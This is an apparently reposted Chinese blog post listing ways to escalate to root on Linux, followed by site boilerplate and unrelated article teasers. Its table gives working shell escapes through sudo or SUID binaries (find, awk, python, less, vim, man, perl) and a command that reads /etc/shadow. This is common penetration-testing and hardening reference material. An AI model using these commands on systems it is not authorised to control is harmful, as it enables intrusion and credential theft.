Linux下提權root權限

現在AI工具這么豐富,稍微搜一下就有一個差不多的總結輸出。但是,可能還不夠詳細,或者給得太多~~~

今天時間關系,今天只總結了在Linux如何提權到root,并沒有寫如何進行防護。后面有時間,我再總結一下。

命令實操前提條件作用說明補充說明
susu擁有root口令切換到 root 用戶(繼承當前環境)
su -, -l, --login?擁有root口令切換到 root 用戶(使用root環境變量)
sudosudo -s當前用戶在 sudoers 列表,擁有bash等默認shell的可執行權限非登錄式 root shell訪問(保留原環境變量)
sudo bash當前用戶在 sudoers 列表,擁有bash等默認shell的可執行權限非登錄式 root shell訪問(保留原環境變量)
sudo -i當前用戶在 sudoers 列表,擁有bash等默認shell的可執行權限登錄式 root shell訪問(使用root環境變量)
sudo su當前用戶在 sudoers 列表,擁有su命令的可執行權限切換到 root 用戶(繼承當前環境)
sudo su -當前用戶在 sudoers 列表,擁有su命令的可執行權限切換到 root 用戶(使用root環境變量)
sshssh root@localhost擁有root口令登錄式 root shell訪問(使用root環境變量)
ssh -i /path/to/root_key root@host擁有公鑰文件登錄式 root shell訪問(使用root環境變量)
findsudo find . -exec /bin/sh \; -quit當前用戶在 sudoers 列表,擁有find命令的可執行權限非登錄式 root shell訪問(保留原環境變量)
find . -exec /bin/sh \; -quitfind被授權SUID或者GUID非登錄式 root shell訪問(保留原環境變量)
仍然是普通用戶權限
1、find確實會將root權限傳遞給給-exec下的命令
2、但是,shell命令可能并不吃這一套
find . -exec cat /etc/shadow \; -quitfind被授權SUID或者GUID查看/etc/shadow文件(成功)
awksudo awk 'BEGIN {system("/bin/sh")}'當前用戶在 sudoers 列表,擁有awk命令的可執行權限非登錄式 root shell訪問(保留原環境變量)
awk 'BEGIN {system("/bin/sh")}'awk被授權SUID或者GUID非登錄式 root shell訪問(保留原環境變量)
python?sudo python -c 'import os; os.setuid(0); os.system("/bin/sh")'當前用戶在 sudoers 列表,擁有python命令的可執行權限非登錄式 root shell訪問(保留原環境變量)
python -c 'import os; os.setuid(0); os.system("/bin/sh")'python被授權SUID或者GUID非登錄式 root shell訪問(保留原環境變量)
less/moresudo less /etc/shadow → v → :!/bin/sh當前用戶在 sudoers 列表,擁有less命令的可執行權限非登錄式 root shell訪問(保留原環境變量)
less /etc/shadow → v → :!/bin/shless被授權SUID或者GUID非登錄式 root shell訪問(保留原環境變量)
vim/visudo vi -c ':!/bin/bash'當前用戶在 sudoers 列表,擁有vim/vi命令的可執行權限非登錄式 root shell訪問(保留原環境變量)
vi -c ':!/bin/bash'vim/vi被授權SUID或者GUID非登錄式 root shell訪問(保留原環境變量)
mansudo man passwd → !/bin/sh當前用戶在 sudoers 列表,擁有man命令的可執行權限非登錄式 root shell訪問(保留原環境變量)
man passwd → !/bin/shman被授權SUID或者GUID非登錄式 root shell訪問(保留原環境變量)
perlsudo perl -e 'system("/bin/bash")'當前用戶在 sudoers 列表,擁有perl命令的可執行權限非登錄式 root shell訪問(保留原環境變量)
perl -e 'system("/bin/bash")'perl被授權SUID或者GUID非登錄式 root shell訪問(保留原環境變量)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/92891.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/92891.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/92891.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

焊接機器人節能先鋒

汽車制造業中,機器人技術的應用已成為推動工業自動化和生產效率提升的重要力量。機器人在焊接、組裝、涂裝等關鍵制造環節中扮演著不可或缺的角色。隨著工業生產規模的不斷擴大,能源消耗和成本控制成為了企業必須面對的重大挑戰。尤其是工業焊接用氣的大…

MinIO:云原生對象存儲的終極指南

MinIO 是什么? MinIO 是一款高性能、云原生的對象存儲服務,具有以下優勢: 輕量級部署:采用 Go 語言編寫,資源占用低,支持快速部署 兼容性強:完全兼容 Amazon S3 API,輕松對接現有應用 高可用架構:支持分布式部署,確保數據持久性和服務可用性 高性能表現:專為云環境…

Spring AOP `MethodInvocation` 工作原理

?? 一、通知到 MethodInterceptor 的轉換機制 Spring AOP 通過適配器模式將開發者定義的注解型通知(如 Before)統一轉換為 MethodInterceptor 接口實現,確保所有通知類型能接入同一調用鏈。以下是轉換細節: 1. 適配器實現原理 核…

PPO原論文閱讀

一、Introduction1.目前存在的問題:(deep)Q-learning:在一些簡單問題上表現不佳,可理解性差基礎的policy gradient算法:(如REINFORCE)魯棒性差,需要大量數據TRPO:復雜,在包含噪音&am…

零基礎也能創作專屬歌曲:文心一言+蘑兔AI協同教程

在AI技術飛速發展的今天,音樂創作已不再是專業音樂人的專屬領域。通過文心一言與蘑兔AI的協同使用,即使沒有音樂基礎,也能輕松完成從歌詞創作到作曲編曲的全流程。本文將詳細拆解操作步驟,助你快速上手,實現音樂創作夢…

圖論:搜索問題

提到圖論中的搜索問題,首先想到的也就是DFS和BFS了,而提到這兩種搜索,那么最典型的題目就是島嶼問題了,下面就練習幾道相關的題目,為之后的更深奧的圖論學習打下基礎! 孤島的總面積 題目鏈接:…

AI驅動攻防升級,API安全走到關鍵檔口

在數字化轉型與AI技術快速發展的雙重驅動下,API已成為企業業務與外部世界連接的神經中樞。然而,隨著API的深度應用,針對API的攻擊規模與復雜性也在持續升級。 API為何頻頻成為黑客重點盯防的突破口?企業常見的API防護手段是否還能…

網絡基礎DAY18-動態路由協議基礎

動態路由協議基礎知識回顧:1.什么是路由? 答:是三層設備轉發IP報文的路徑信息。 2.路由有哪些來源? 答:1.直連路由2.靜態路由3.動態路由 3.有直連路由的條件? 答:1.二層和三層物理接口狀態為UP …

axios統一封裝規范管理

新建/api/ 1.新建統一處理文件/api/axios.ts import axios from "axios"const http axios.create({baseURL: import.meta.env.VITE_API_BASE_URL, // 從環境變量讀取timeout: 10000, });// 請求攔截器(如添加 Token) http.interceptors.reque…

Java學習第七十四部分——Elasticsearch(ES)

目錄 一、前言提要 二、核心特性 三、應用場景 四、主要優勢 五、集成方式 六、基礎操作 七、高級特性 八、概念類比——與關系型數據庫 九、簡單示例——實現存儲與搜索 十、生態集成——基于Spring Data Elasticsearch 十一、性能優化建議 十二、總結歸納概述 一…

TDengine 轉化函數 TO_UNIXTIMESTAMP 用戶手冊

TDengine TO_UNIXTIMESTAMP 函數用戶使用手冊 函數概述 TO_UNIXTIMESTAMP 是 TDengine 中的標量函數,用于將符合 ISO8601/RFC3339 標準的日期時間字符串轉換為 Unix 時間戳。與 TO_TIMESTAMP 不同,該函數專門處理標準格式的時間字符串,無需指…

Java 中的排序算法詳解

目錄 一、冒泡排序(Bubble Sort) 原理? 二、選擇排序(Selection Sort) 原理? 三、插入排序(Insertion Sort) 原理? 四、快速排序(Quick Sort) 原理? 五、歸并排序&…

Gitee如何成為國內企業DevOps轉型的首選平臺?

Gitee如何成為國內企業DevOps轉型的首選平臺? 在數字化轉型浪潮中,DevOps已成為提升企業研發效能的關鍵引擎。作為國內領先的代碼托管與協作平臺,Gitee憑借本土化優勢與全流程支持能力,正成為越來越多企業DevOps實踐的核心載體。本…

?Excel——SUMPRODUCT 函數

SUMPRODUCT 是 Excel 中最強大的函數之一,可以用于 ?多條件求和、加權計算、數組運算? 等復雜場景。下面通過 ?基礎語法 實用案例? 徹底講透它的用法!?一、基礎語法?SUMPRODUCT(數組1, [數組2], [數組3], ...)?功能?:將多個數組的對…

告別虛函數性能焦慮:深入剖析C++多態的現代設計模式

?? 引言:當多態遇上性能瓶頸 我經常被問到這樣一個問題:“既然virtual函數這么方便,為什么在一些高性能場景下,大家卻避之不及?” 答案很簡單:性能。 在我參與的多個HPC項目和游戲引擎開發中,virtual函數調用往往成為性能分析工具中最顯眼的那個紅點。一個看似無害…

k8s-MongoDB 副本集部署

前提準備一套 k8s 集群worker 節點上的 /nfs/data 目錄掛載到磁盤一、NFS 高可用方案(NFSkeepalivedSersync)本方案 NFS 的高可用方案,應用服務器為 Client ,兩臺文件服務器分別 Master 和 Slave,使用 keepalived 生成…

BI 系統數據看板全解析:讓數據可視化驅動業務決策

BI 系統數據看板全解析:讓數據可視化驅動業務決策在 BI 系統中,數據看板是連接原始數據與業務洞察的 “橋梁”。它將零散的業務指標轉化為直觀的可視化圖表,讓產品經理、運營人員等角色能快速把握業務動態。一個設計精良的數據看板&#xff0…

圖機器學習(14)——社交網絡分析

圖機器學習(14)——社交網絡分析0. 前言1. 數據集分析1.1 數據集介紹1.2 使用 networkx 加載數據集2. 網絡拓撲和社區檢測2.1 網絡拓撲2.2 社區檢測0. 前言 社交網站的崛起是近年來數字媒體領域最活躍的發展趨勢之一,數字社交互動已經融入人…

深入解析Hadoop MapReduce中Reduce階段排序的必要性

MapReduce概述與Reduce階段簡介MapReduce作為Hadoop生態系統的核心計算框架,其設計思想源自Google論文,通過"分而治之"的理念實現海量數據的并行處理。該模型將計算過程抽象為兩個關鍵階段:Map階段負責數據分解和初步處理&#xff…

7月23日華為機考真題第二題-200分

?? 點擊直達筆試專欄 ??《大廠筆試突圍》 ?? 春秋招筆試突圍在線OJ ?? 筆試突圍OJ bishipass.com 02. 圖書館資源分配系統 問題描述 A先生是一位圖書館管理員,負責管理圖書采購和分配工作。圖書館收到了來自不同出版社的圖書批次,同時有多位讀者代表排隊申請圖書…